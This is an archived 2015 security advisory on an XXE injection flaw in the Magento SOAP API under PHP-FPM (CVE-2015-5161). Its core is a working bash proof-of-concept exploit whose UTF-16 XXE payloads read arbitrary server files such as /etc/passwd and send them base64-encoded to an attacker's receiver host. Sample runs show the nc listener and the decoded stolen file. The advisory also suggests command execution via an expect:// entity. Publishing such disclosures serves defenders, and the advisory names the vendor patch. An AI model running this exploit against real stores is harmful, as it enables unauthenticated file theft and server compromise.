Skip to content
cyberexploits
webappphptext

eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection

eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection

Published on 2015-10-30

Source code

Pinned to commit 7eac4c3a2ce5
textplatforms/php/webapps/38573.txt7eac4c3a
raw
=============================================

- Release date: 29.10.2015

- Discovered by: Dawid Golunski

- Severity: High/Critical

- eBay Magento ref.: APPSEC-1045

=============================================



 

I. VULNERABILITY

-------------------------



eBay Magento CE <= 1.9.2.1       XML eXternal Entity Injection (XXE) on PHP FPM

eBay Magento EE <= 1.14.2.1      



 

II. BACKGROUND

-------------------------



- eBay Magento eCommerce



http://magento.com/



"More than 240,000 merchants worldwide put their trust in our eCommerce 

software. Magento's eCommerce platform gives you the tools you need to attract 

more prospects, sell more products, and make more money. It's what we do.



We're owned by eBay, so you know we're eCommerce experts"





- PHP FPM



http://php.net/manual/en/install.fpm.php



"FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with

 some additional features (mostly) useful for heavy-loaded sites."



Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI 

process manager into its codebase. 



 

III. INTRODUCTION

-------------------------



eBay Magento eCommerce application uses Zend Framework which has a 

vulnerability that allows for XML eXternal Entity injection in applications

served with PHP FPM.



XXE (XML eXternal Entity) attack is an attack on an application that parses XML 

input from untrusted sources using incorrectly configured XML parser. 

The application may be forced to open arbitrary files and/or network resources.

Exploiting XXE issues on PHP applications may also lead to denial of service or

in some cases (e.g. when an 'expect' PHP module is installed) lead to command 

execution.





IV. DESCRIPTION

-------------------------

 

The aforementioned XXE vulnerability in Zend Framework which affects eBay 

Magento, was assigned a CVE-ID of CVE-2015-5161 and can be found in a 

separate advisory at:



http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt



In short, the Zend Framework XXE vulnerability stems from an insufficient 

sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP 

applications. 

By using certain multibyte encodings within XML, it is possible to bypass 

the sanitisation and perform certain XXE attacks.



Since eBay Magento is based on Zend Framework and uses several of its XML

classes, it also inherits this XXE vulnerability.



The vulnerability in Zend affects all its XML components, however there 

are two vulnerable Zend Framework vulnerable components:



 - Zend_XmlRpc_Server 

 - Zend_SOAP_Server 



that are of special interest to attackers as they could be exploited remotely 

without any authentication. 



Magento implements a store API providing XML/SOAP web services. 

Although the Zend_XmlRpc is present within Magento code base, the testing 

revealed that an older Zend class was used for its implementation, which is

not vulnerable.



However, further testing revealed that Magento SOAP API was implemented using

the Zend_SOAP_Server class from Zend Framework, which is vulnerable to the 

XXE injection vulnerability discovered earlier.



 

V. PROOF OF CONCEPT

-------------------------

 

Normally, when an XML containing entities is supplied to magento SOAP API, the

following message gets produced:



<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>Sender</faultcode>

<faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE 

attacks</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope> 



Below is a POC exploit that automates the steps necessary to bypass this

protection on Magento served with PHP-FPM, and remotely exploit the XXE issue 

in Magento's SOAP API without authentication.

Authentication is not required for the exploitation, as Magento first needs to

load the malicious XML data in order to read credentials within the SOAP 

login method. Loading malicious XML may be enough to trigger attacker's payload

within the entities (in case of libxml2 library auto-expanding entities).





---[ magento-soap-exploit.sh ]---



#!/bin/bash

#

# POC Exploit (v1.1)

#

# eBay Magento CE  <= 1.9.2.1  XML eXternal Entity Injection (XXE) on PHP-FPM

# eBay Magento EE  <= 1.14.2.1

#

# CVE-2015-5161

#

# Credits:

#

# Dawid Golunski

# dawid (at) legalhackers.com

# http://legalhackers.com

#

# Advisories:

#

# http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt

# http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt

#

# Usage:

#

# [Vulnerability test]

#

# This is to test the vulnerability with a simple XXE payload which retrieves the

# /dev/random file and causes a time out. No receiver server is required in this

# test as no data is returned.

#

# Run the script with just the URL to Magento SOAP API, with no other parameters. 

# E.g:

# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index

#

#

# [File retrieval from the remote server]

# 

# ./magento-soap-exploit.sh MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT

#

# E.g:

# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index /etc/hosts 192.168.10.5 80

#

# In this example, file extracted via the XXE attack will be sent as base64 encoded parameter to:

# http://192.168.10.5:80/fetch.php?D=[base64_string]

# You should have the receiver server/script listening on the specified port before running this exploit.

#



TIMEOUT=6

PAYLOAD_TMP_FILE="/tmp/payload-utf16.xml"



if [ $# -ne 1 ] && [ $# -ne 4 ] ; then 

	echo -e "\nUsage: \n"

	echo -e "[Vulnerability test]\n"

	echo -e "$0 MAGENTO_SOAP_API_URL"

	echo -e "E.g:"

	echo -e "$0 http://fpmserver/magento/index.php/api/soap/index\n";

	echo -e "[File retrieval]\n"

	echo -e "$0 MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT"

	echo -e "E.g:"

	echo -e "$0 http://fpmserver/magento/index.php/api/soap/index /etc/hosts 192.168.5.6 80\n";

	exit 2;

else 

	TARGETURL="$1"

fi

if [ $# -eq 4 ]; then 

	FILE="$2"	

	RECEIVER_HOST="$3"

	RECEIVER_PORT="$4"

	TEST_ONLY=0

else

	TEST_ONLY=1

fi 



if [ $TEST_ONLY -eq 1 ]; then 

	# Vulnerability test 

	# Perform only a test by reading /dev/random file

	TEST_PAYLOAD_XML='<?xml version="1.0" encoding="UTF-16"?>

	<!DOCTYPE foo [  

	<!ELEMENT PoC ANY >

	<!ENTITY % xxe SYSTEM "file:///dev/random" >

		%xxe;

	]>'



	echo "$TEST_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE

	echo -e "Target URL: $TARGETURL\nInjecting Test XXE payload (/dev/random). Might take a few seconds.\n"



	# Fetching /dev/random should cause the remote script to block

	# on reading /dev/random until the script times out.

	# If there is no delay it means the remote script is not vulnerable or 

	# /dev/random is not accessible.

	START=$(date +%s)

	wget -t 1 -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE

	END=$(date +%s)

	DIFF=$(expr $END \- $START )



	if [ $DIFF -eq $TIMEOUT ]; then

		echo "Vulnerable. No response from Magento for $DIFF seconds :)"

		exit 0

	else 

		echo "Not vulnerable, or there is no /dev/random on the remote server ;)"

		exit 1

	fi

else 

	# File retrieval XXE payload

	SEND_DTD="<?xml version=\"1.0\" encoding=\"UTF-8\"?>

	<!ENTITY % all \"<!ENTITY &#37; send SYSTEM 'php://filter/read=/resource=http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php?D=%file;'>\">

	%all;"

	SEND_DTD_B64="`echo "$SEND_DTD" | base64 -w0`"

	FILE_PAYLOAD_XML="<?xml version=\"1.0\" encoding=\"UTF-16\"?>

	<!DOCTYPE foo [  

	<!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=$FILE\">

	<!ENTITY % dtd SYSTEM \"data://text/plain;base64,$SEND_DTD_B64\">

	%dtd;



	%send;

	]>"



	# Retrieve $FILE from the remote server and send it to $RECEIVER_HOST:$RECEIVER_PORT

	echo "$FILE_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE

	echo -e "Target URL: $TARGETURL\n\nInjecting XXE payload to retrieve the $FILE file..."

	echo -e "If successful, Base64 encoded result will be sent to http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php/D=[base64_result]\n"

	echo -e "If in doubt, try the vulnerability test option.\n"

	wget -t 1 -v -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE

fi





--------------------------------



The above exploit uses the Out of band XXE payload which sends

any retrieved data back to the attacker even though the attacker cannot

see the resulting file in the server's response directly. 

This exploit also bypasses the LIBXML_NONET libxml setting imposed by the Zend 

Framework which prohibits network access. This is achieved through the usage of

php://filter wrapper which is treated as a local resource by the XML ENTITY 

handler even though it references remote resources. 



Successful exploitation in a test mode ('Vulnerability test', exploit run 

without parameters other than the URL to Magento SOAP API) will result in a 

time out and an internal server error caused by the XML ENTITY accessing 

/dev/random file which will block the API script. 



For example:



---



$ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index

Target URL: http://vulnhost/magento/index.php/api/soap/index

Injecting Test XXE payload (/dev/random). Might take a few seconds.



--2015-05-19 22:14:17--  http://vulnhost/magento/index.php/api/soap/index

Resolving precise (vulnhost)... 127.0.0.1

Connecting to vulnhost (vulnhost)|127.0.0.1|:80... connected.

HTTP request sent, awaiting response... Read error (Connection timed out) in 

headers. Giving up.



Vulnerable. No response from Magento for 6 seconds :)



---





Arbitrary file accessible to the PHP process can also be fetched with the 

above exploit by using the following syntax:



---



attacker$ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index /etc/passwd attackershost 9090



Target URL: http://vulnhost/magento/index.php/api/soap/index

Injecting XXE payload to retrieve the /etc/passwd file... 



If successful, Base64 encoded result will be sent to http://attackershost:9090/fetch.php/D=[base64_result]

If in doubt, try the vulnerability test option.



--2015-05-19 22:33:06--  http://vulnhost/magento/index.php/api/soap/index

Resolving vulnhost (vulnhost)... 192.168.57.12

Connecting to vulnhost (vulnhost)|192.168.57.12|:80... connected.

HTTP request sent, awaiting response... Read error (Connection timed out) in 

headers. Giving up.



---



The result will be sent to attacker's server listening on port 9090 which

needs to be set up before running the exploit:



---



attacker# nc -vv -l 9090



Listening on [0.0.0.0] (family 0, port 9090)

Connection from [192.168.57.12] port 9090 [tcp/*] accepted (family 2, sport 47227)

GET /fetch.php?D=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY[...cut...] HTTP/1.0

Host: attackershost:9090





attacker# echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY' | base64 -d



root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

[...]



---





It may also be possible to execute arbitrary commands on the remote server

if the remote PHP installation has the 'expect' module enabled.

In such case, an attacker could use expect:// wrapper within XML ENTITY

to execute any command in the context of the PHP process.

For example, by adding the XML entity of:



<ENTITY % file SYSTEM "expect://id">



the attacker could execute the /usr/bin/id command on the remote Magento host.





VI. BUSINESS IMPACT

-------------------------



This issue should be marked as high/critical due to the wide deployment of 

eBay Magento software, low complexity of exploitation, as well as a possibility

of an unauthenticated remote exploitation as demonstrated in this advisory. 

If successful, an attacker could access sensitive files available to the

web server process, cause Denial Of Service, or even execute arbitrary commands

on the server with the permissions of the PHP/web process if certain PHP 

modules are installed.



There is also a growing number of servers set up to serve PHP code with 

PHP-FPM, especially in web hosting environments which need to respond to heavy

load.

There are official Magento tutorials explaining how to set up Magento with Nginx

and PHP FPM for best performance:



http://info.magento.com/rs/magentocommerce/images/

MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf

 

VII. SYSTEMS AFFECTED

-------------------------



Versions of eBay Magento CE equal to 1.9.2.1, or older can be exploited on a

web server with PHP-FPM SAPI.

eBay Magento EE was not tested, but is also affected by this issue according

to the vendor (see APPSEC-1045), up to version EE 1.14.2.1.



To be exploitable, the system must have a version of libxml library which 

expands XML entities without additional libxml2 settings. This is true for 

older versions, as well as newer versions of libxml2 with missing updates,

such as a fairly recent patch for the issue of CVE-2014-0191. 

For some distributions (see references below) libxml2 patches were released 

as late as April 2015, and for this reason, there are likely many systems 

which still lack the libml2 updates and allow to exploit the Magento/Zend 

vulnerability described in this advisory.



The exploit however does not depend on a PHP version installed. In fact, the

exploit was confirmed to work on Fedora 21 with a new (a month's old) PHP 

version of:



PHP Version => 5.6.14

Build Date => Sep 30 2015 13:53:16



The issue can also be exploited on multiple web servers, as PHP-FPM can be set

up on popular web servers such as Apache, or Nginx on Linux/Unix, as well as 

Windows systems (as per the 'fpm on cygwin' setup guides available on the 

Internet).



 

VIII. SOLUTION

-------------------------



eBay Magento was informed about the issue and assigned it a reference ID of

APPSEC-1045. eBay released a patch bundle titled:



'SUPEE-6788 Patch Bundle'



prior to the release of this advisory. 

To address the vulnerability, the patch should be installed, or Magento should 

be upgraded to the latest version of 1.9.2.2 which already contains the fix.

 

IX. REFERENCES

-------------------------



http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt



http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt



http://framework.zend.com/security/advisory/ZF2015-06



Powering Magento with Ngnix and PHP-FPM:

http://info.magento.com/rs/magentocommerce/images/MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf



http://www.securiteam.com/



http://seclists.org/fulldisclosure/2015/Oct/105



Official eBay Magento website:

http://magento.com/



Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML 

Functionality Using Multibyte Payloads' (APPSEC-1045) is available at:



http://merch.docs.magento.com/ce/user_guide/magento/patch-releases-2015.html



CVE-2014-0191 :

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0191

https://bugzilla.redhat.com/show_bug.cgi?id=1090976





X. DISCOVERED BY

-------------------------



The vulnerability has been discovered by Dawid Golunski

dawid (at) legalhackers (dot) com

legalhackers.com

 

XI. REVISION HISTORY

-------------------------



Oct 29th, 2015:  Advisory released



Nov 3rd,  2015:  Updated exploit to work on newer libxml2 versions such as 

                 2.9.1 without CVE-2014-0191 patch, updated 'Systems affected' 

                 section, plus minor updates in other sections

 

XII. LEGAL NOTICES

-------------------------



The information contained within this advisory is supplied "as-is" with

no warranties or guarantees of fitness of use or otherwise. I accept no

responsibility for any damage caused by the use or misuse of this information.

View on GitHub